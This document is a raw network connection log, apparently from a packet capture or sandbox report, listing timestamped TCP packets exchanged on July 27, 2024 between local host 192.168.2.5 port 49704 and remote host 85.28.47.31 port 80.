Jul 27, 2024 09:25:00.542982101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542996883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.543003082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.543026924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.543050051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.552580118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.552593946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.552608967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.552650928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.552692890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.552705050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.552721024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.552736998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.552753925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.552761078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.552782059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.552799940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.552824020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.552824974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.552860022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.552882910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.552906990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.552958012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553230047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553282976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553287983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553308010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553324938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553335905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553355932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553374052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553378105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553395987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553411961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553417921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553428888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553456068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553471088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553533077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553555965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553571939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553586960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553587914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553615093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553649902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553736925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553752899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553769112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553785086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553786039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553802013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553805113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553833008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553875923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553906918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553922892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553939104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.553956032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553981066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.553987026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554003000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554030895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.554053068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554074049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554080963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.554090977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554097891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.554120064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.554143906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.554164886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554188967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554214001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.554234982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554235935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.554251909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554269075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554280996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.554286003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554301023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.554325104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.554460049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554476976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554491997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.554498911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.554549932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562289000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562314034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562331915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562344074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562361956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562378883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562398911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562424898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562462091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562479019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562494040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562508106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562553883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562644005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562694073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562702894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562720060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562741041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562741995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562769890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562774897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562798023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562813044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562819958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562851906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562865019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562897921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562901020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562913895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.562942982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562962055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.562967062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563013077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563102007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563126087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563141108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563153028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563180923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563209057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563313007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563333035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563354969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563364029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563370943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563388109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563388109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563405991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563441038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563512087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563544989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563558102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563561916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563591003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563617945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563699961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563716888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563731909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563747883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563747883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563769102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563792944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563833952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563851118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563868046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.563879013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.563924074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.566421986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566457987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566473007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566483021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.566509008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566520929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.566535950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566564083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.566600084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.566682100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566699028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566715002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566729069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.566730976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566749096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566752911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.566771984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.566817999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.566907883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566924095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566940069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566953897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.566972017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.566972971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.566988945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.567001104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.567018986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.567040920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.625498056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.625520945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.625536919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.625552893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.625569105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.625582933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.625592947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.625598907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.625619888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.625679970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.636215925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636286020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.636290073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636306047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636338949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.636364937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.636395931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636409998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636425018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636444092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636447906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.636466026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.636507034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.636522055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636537075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636553049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636570930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.636605024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.636647940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636662006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636677027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636691093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.636692047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.636734009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.645601034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.645626068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.645639896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.645684004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.645716906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.645729065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.645742893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.645759106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.645777941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.645813942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.645818949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.645867109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646024942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646049023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646064043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646085024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646109104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646127939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646132946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646147966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646163940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646178961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646178961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646198988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646229029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646344900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646361113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646374941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646389961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646395922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646406889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646421909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646433115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646440983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646480083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646505117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646564960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646580935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646604061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646631956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646647930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646662951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646677971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646691084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646711111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646733046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646738052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646754026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646814108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646814108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646866083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646881104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646895885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646910906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646918058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646927118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.646938086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.646982908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.647008896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.647053003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.647054911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.647067070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.647095919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.647120953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.647205114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.647221088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.647234917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.647250891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.647253036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.647279978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.647308111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.647313118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.647322893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.647357941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.647382975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.655438900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655503035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655519009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655524969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.655550957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.655560017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655574083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.655576944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655606031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.655627012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.655637980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655652046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655668020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655688047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.655713081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.655785084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655807972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655822992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655838966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.655868053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.655965090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655980110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.655994892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656009912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656012058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656044006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656080008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656115055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656130075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656146049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656157970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656167984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656188011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656220913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656223059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656245947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656260967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656280994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656301022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656408072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656421900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656439066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656451941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656455040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656506062 CEST	49704	80	192.168.2.5	85.28.47.31
